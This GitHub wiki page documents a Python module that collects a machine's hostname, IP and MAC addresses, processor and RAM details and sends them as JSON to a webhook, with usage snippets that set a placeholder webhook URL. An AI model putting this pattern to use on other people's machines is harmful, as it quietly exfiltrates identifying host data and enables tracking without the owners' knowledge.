-
Notifications
You must be signed in to change notification settings - Fork 0
gsi.py
LopeKinz edited this page Jul 6, 2023
·
1 revision
This module provides a function to retrieve system information and send it to a webhook.
- platform
- socket
- json
- re
- uuid
- ctypes
- requests
import gsi
# Get system information and send it to the webhook
gsi.get_system_info()
def get_system_info():
This function retrieves various system information such as platform, architecture, hostname, IP address, MAC address, processor, and RAM. It uses the following steps:
- Initializes a
MEMORYSTATUSEX
structure usingctypes.Structure
to store memory information. - Retrieves total RAM using
ctypes.windll.kernel32.GlobalMemoryStatusEx
. - Collects system information and stores it in the
info
dictionary. - Converts the
info
dictionary to JSON format with indentation. - Sends a POST request to the specified webhook URL with the JSON data as the content.
Note: Ensure that the webhook
variable is properly set to the desired webhook URL before calling this function.
import gsi
# Set the webhook URL
gsi.webhook = 'https://your-webhook-url'
# Get system information and send it to the webhook
gsi.get_system_info()